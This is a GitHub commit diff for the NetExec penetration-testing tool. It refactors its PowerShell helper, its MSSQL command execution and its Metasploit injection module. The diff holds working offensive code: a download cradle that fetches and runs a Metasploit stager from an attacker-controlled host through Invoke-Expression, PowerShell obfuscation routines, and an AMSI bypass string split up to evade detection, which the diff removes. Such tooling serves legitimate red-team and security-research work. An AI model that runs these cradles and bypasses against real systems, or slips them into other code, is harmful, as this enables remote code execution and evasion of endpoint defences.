Skip to content

Commit cf231d5

Browse files
Merge pull request Pennyw0rth#296 from Pennyw0rth/marshall-pwsh-update
Refactor/fix/update PowerShell and related features
2 parents d0a4afe + 23a7d11 commit cf231d5

11 files changed

Lines changed: 245 additions & 168 deletions

File tree

nxc/helpers/powershell.py

Lines changed: 45 additions & 53 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,20 @@
1212

1313
obfuscate_ps_scripts = False
1414

15+
def replace_singles(s):
16+
"""Replaces single quotes with a double quote
17+
We do this because quoting is very important in PowerShell, and we are doing multiple layers:
18+
Python, MSSQL, and PowerShell. We want to make sure that the command is properly quoted at each layer.
19+
20+
Args:
21+
----
22+
s (str): The string to replace single quotes in.
23+
24+
Returns:
25+
-------
26+
str: Original string with single quotes replaced with double.
27+
"""
28+
return s.replace("'", r"\"")
1529

1630
def get_ps_script(path):
1731
"""Generates a full path to a PowerShell script given a relative path.
@@ -108,91 +122,66 @@ def obfs_ps_script(path_to_script):
108122

109123

110124

111-
def create_ps_command(ps_command, force_ps32=False, dont_obfs=False, custom_amsi=None):
125+
def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None, encode=True):
112126
"""
113127
Generates a PowerShell command based on the provided `ps_command` parameter.
114128
115129
Args:
116130
----
117131
ps_command (str): The PowerShell command to be executed.
118-
119132
force_ps32 (bool, optional): Whether to force PowerShell to run in 32-bit mode. Defaults to False.
120-
121-
dont_obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
122-
133+
obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
123134
custom_amsi (str, optional): Path to a custom AMSI bypass script. Defaults to None.
135+
encode (bool, optional): Whether to encode the generated command (executed via -enc in PS). Defaults to True.
124136
125137
Returns:
126138
-------
127139
str: The generated PowerShell command.
128140
"""
141+
nxc_logger.debug(f"Creating PS command parameters: {ps_command=}, {force_ps32=}, {obfs=}, {custom_amsi=}, {encode=}")
142+
129143
if custom_amsi:
144+
nxc_logger.debug(f"Using custom AMSI bypass script: {custom_amsi}")
130145
with open(custom_amsi) as file_in:
131146
lines = list(file_in)
132147
amsi_bypass = "".join(lines)
133148
else:
134-
amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
135-
try{
136-
[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($null, $true)
137-
}catch{}
138-
"""
139-
140-
command = amsi_bypass + f"\n$functions = {{\n function Command-ToExecute\n {{\n{amsi_bypass + ps_command}\n }}\n}}\nif ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')\n{{\n $job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32\n $job | Wait-Job\n}}\nelse\n{{\n IEX \"$functions\"\n Command-ToExecute\n}}\n" if force_ps32 else amsi_bypass + ps_command
149+
amsi_bypass = ""
141150

151+
# for readability purposes, we do not do a one-liner
152+
if force_ps32: # noqa: SIM108
153+
# https://stackoverflow.com/a/60155248
154+
command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}"
155+
else:
156+
command = f"{amsi_bypass} {ps_command}"
157+
142158
nxc_logger.debug(f"Generated PS command:\n {command}\n")
143159

144-
# We could obfuscate the initial launcher using Invoke-Obfuscation but because this function gets executed
145-
# concurrently it would spawn a local powershell process per host which isn't ideal, until I figure out a good way
146-
# of dealing with this it will use the partial python implementation that I stole from GreatSCT
147-
# (https://github.com/GreatSCT/GreatSCT) <3
148-
149-
"""
150-
if is_powershell_installed():
151-
152-
temp = tempfile.NamedTemporaryFile(prefix='nxc_',
153-
suffix='.ps1',
154-
dir='/tmp')
155-
temp.write(command)
156-
temp.read()
157-
158-
encoding_types = [1,2,3,4,5,6]
159-
while True:
160-
encoding = random.choice(encoding_types)
161-
invoke_obfs_command = 'powershell -C \'Import-Module {};Invoke-Obfuscation -ScriptPath {} -Command "ENCODING,{}" -Quiet\''.format(get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1'),
162-
temp.name,
163-
encoding)
164-
nxc_logger.debug(invoke_obfs_command)
165-
out = check_output(invoke_obfs_command, shell=True).split('\n')[4].strip()
166-
167-
command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "{}"'.format(out)
168-
nxc_logger.debug('Command length: {}'.format(len(command)))
169-
170-
if len(command) <= 8192:
171-
temp.close()
172-
break
173-
174-
encoding_types.remove(encoding)
175-
176-
else:
177-
"""
178-
if not dont_obfs:
160+
if obfs:
161+
nxc_logger.debug("Obfuscating PowerShell command")
179162
obfs_attempts = 0
180163
while True:
181-
command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{invoke_obfuscation(command)}"'
164+
nxc_logger.debug(f"Obfuscation attempt: {obfs_attempts + 1}")
165+
obfs_command = invoke_obfuscation(command)
166+
167+
command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{replace_singles(obfs_command)}"'
182168
if len(command) <= 8191:
183169
break
184-
185170
if obfs_attempts == 4:
186171
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
187172
exit(1)
188-
173+
nxc_logger.debug(f"Obfuscation length too long with {len(command)}, trying again...")
189174
obfs_attempts += 1
190175
else:
191-
command = f"powershell.exe -noni -nop -w 1 -enc {encode_ps_command(command)}"
176+
# if we arent encoding or obfuscating anything, we quote the entire powershell in double quotes, otherwise the final powershell command will syntax error
177+
command = f"-enc {encode_ps_command(command)}" if encode else f'"{command}"'
178+
command = f"powershell.exe -noni -nop -w 1 {command}"
179+
192180
if len(command) > 8191:
193181
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
194182
exit(1)
195-
183+
184+
nxc_logger.debug(f"Final command: {command}")
196185
return command
197186

198187

@@ -320,6 +309,7 @@ def invoke_obfuscation(script_string):
320309
-------
321310
str: The obfuscated payload for execution.
322311
"""
312+
nxc_logger.debug(f"Command before obfuscation: {script_string}")
323313
random_alphabet = "".join(random.choice([i.upper(), i]) for i in ascii_lowercase)
324314
random_delimiters = ["_", "-", ",", "{", "}", "~", "!", "@", "%", "&", "<", ">", ";", ":", *list(random_alphabet)]
325315

@@ -436,5 +426,7 @@ def invoke_obfuscation(script_string):
436426
choice(["", " "]) + new_script + choice(["", " "]) + "|" + choice(["", " "]) + invoke_expression,
437427
]
438428

439-
return choice(invoke_options)
429+
obfuscated_script = choice(invoke_options)
430+
nxc_logger.debug(f"Script after obfuscation: {obfuscated_script}")
431+
return obfuscated_script
440432

nxc/modules/met_inject.py

Lines changed: 22 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -27,6 +27,8 @@ def options(self, context, module_options):
2727
SRVPORT Stager port
2828
RAND Random string given by metasploit (if using web_delivery)
2929
SSL Stager server use https or http (default: https)
30+
31+
This module is compatable with --obfs, --force-ps32 (PowerShell execution options)
3032
3133
multi/handler method that don't require RAND:
3234
Set LHOST and LPORT (called SRVHOST and SRVPORT in nxc module options)
@@ -35,8 +37,11 @@ def options(self, context, module_options):
3537
windows/x64/powershell_reverse_tcp_ssl
3638
Web Delivery Method (exploit/multi/script/web_delivery):
3739
Set SRVHOST and SRVPORT
40+
Set target 2 (PSH)
3841
Set payload to what you want (windows/meterpreter/reverse_https, etc)
39-
after running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that
42+
check compatabile payloads with `show payloads`
43+
Optional: SET URIPATH {custom}
44+
After running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that, or whatever you set URIPATH to
4045
"""
4146
self.met_ssl = "https"
4247

@@ -53,24 +58,19 @@ def options(self, context, module_options):
5358
self.srvport = module_options["SRVPORT"]
5459

5560
def on_admin_login(self, context, connection):
56-
# stolen from https://github.com/jaredhaight/Invoke-MetasploitPayload
57-
command = """$url="{}://{}:{}/{}"
58-
$DownloadCradle ='[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('''+$url+'''");'
59-
$PowershellExe=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'
60-
if([Environment]::Is64BitProcess) {{ $PowershellExe='powershell.exe'}}
61-
$ProcessInfo = New-Object System.Diagnostics.ProcessStartInfo
62-
$ProcessInfo.FileName=$PowershellExe
63-
$ProcessInfo.Arguments="-nop -c $DownloadCradle"
64-
$ProcessInfo.UseShellExecute = $False
65-
$ProcessInfo.RedirectStandardOutput = $True
66-
$ProcessInfo.CreateNoWindow = $True
67-
$ProcessInfo.WindowStyle = "Hidden"
68-
$Process = [System.Diagnostics.Process]::Start($ProcessInfo)""".format(
69-
"http" if self.met_ssl == "http" else "https",
70-
self.srvhost,
71-
self.srvport,
72-
self.rand,
73-
)
74-
context.log.debug(command)
75-
connection.ps_execute(command, force_ps32=True)
76-
context.log.success("Executed payload")
61+
# https://github.com/BC-SECURITY/Empire/blob/main/empire/server/data/module_source/code_execution/Invoke-MetasploitPayload.ps1
62+
proto = "http" if self.met_ssl == "http" else "https"
63+
metasploit_endpoint = f"{proto}://{self.srvhost}:{self.srvport}/{self.rand}"
64+
context.log.debug(f"{metasploit_endpoint=}")
65+
66+
# use single quotes inside because if we run this in 32bit PowerShell, the entire command is double quoted (see helpers/powershell.py:create_ps_command())
67+
command = f"$ProgressPreference = 'SilentlyContinue'; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{metasploit_endpoint}');"
68+
context.log.debug(f"Running command via ps_execute: {command}")
69+
70+
output = connection.ps_execute(command)
71+
context.log.debug(f"Received output from ps_execute: {output}")
72+
73+
if output and "Unable to connect to the remote server" in output:
74+
context.log.error("Executed payload, but the cradle was unable to download the stager, is the Metasploit server running?")
75+
else:
76+
context.log.success("Executed payload")

nxc/protocols/mssql.py

Lines changed: 41 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22
import random
33
import socket
44
import contextlib
5+
from io import StringIO
56

67
from nxc.config import process_secret
78
from nxc.connection import connection
@@ -300,42 +301,54 @@ def mssql_query(self):
300301

301302
@requires_admin
302303
def execute(self, payload=None, get_output=False):
303-
if not payload and self.args.execute:
304-
payload = self.args.execute
305-
306-
if not self.args.no_output:
307-
get_output = True
308-
309-
self.logger.info(f"Command to execute: {payload}")
304+
payload = self.args.execute if not payload and self.args.execute else payload
305+
if not payload:
306+
self.logger.error("No command to execute specified!")
307+
return None
308+
309+
get_output = True if not self.args.no_output else get_output
310+
self.logger.debug(f"{get_output=}")
311+
310312
try:
311313
exec_method = MSSQLEXEC(self.conn, self.logger)
312-
raw_output = exec_method.execute(payload, get_output)
314+
output = exec_method.execute(payload)
315+
self.logger.debug(f"Output: {output}")
313316
except Exception as e:
314317
self.logger.fail(f"Execute command failed, error: {e!s}")
315318
return False
316319
else:
317-
self.logger.success("Executed command via mssqlexec")
318-
if raw_output:
319-
for line in raw_output:
320-
self.logger.highlight(line)
321-
return raw_output
320+
self.logger.success("Executed command via mssqlexec")
321+
output_lines = StringIO(output).readlines()
322+
for line in output_lines:
323+
self.logger.highlight(line.strip())
324+
return output
322325

323326
@requires_admin
324-
def ps_execute(
325-
self,
326-
payload=None,
327-
get_output=False,
328-
force_ps32=False,
329-
dont_obfs=False,
330-
):
331-
if not payload and self.args.ps_execute:
332-
payload = self.args.ps_execute
333-
if not self.args.no_output:
334-
get_output = True
335-
336-
# We're disabling PS obfuscation by default as it breaks the MSSQLEXEC execution method
337-
ps_command = create_ps_command(payload, force_ps32=force_ps32, dont_obfs=dont_obfs)
338-
return self.execute(ps_command, get_output)
327+
def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, obfs=False, encode=False):
328+
payload = self.args.ps_execute if not payload and self.args.ps_execute else payload
329+
if not payload:
330+
self.logger.error("No command to execute specified!")
331+
return None
332+
333+
response = []
334+
obfs = obfs if obfs else self.args.obfs
335+
encode = encode if encode else not self.args.no_encode
336+
force_ps32 = force_ps32 if force_ps32 else self.args.force_ps32
337+
get_output = True if not self.args.no_output else get_output
338+
339+
self.logger.debug(f"Starting PS execute: {payload=} {get_output=} {methods=} {force_ps32=} {obfs=} {encode=}")
340+
amsi_bypass = self.args.amsi_bypass[0] if self.args.amsi_bypass else None
341+
self.logger.debug(f"AMSI Bypass: {amsi_bypass}")
342+
343+
if os.path.isfile(payload):
344+
self.logger.debug(f"File payload set: {payload}")
345+
with open(payload) as commands:
346+
response = [self.execute(create_ps_command(c.strip(), force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output) for c in commands]
347+
else:
348+
response = [self.execute(create_ps_command(payload, force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output)]
349+
350+
self.logger.debug(f"ps_execute response: {response}")
351+
return response
339352

340353
@requires_admin
341354
def put_file(self):

0 commit comments

Comments
 (0)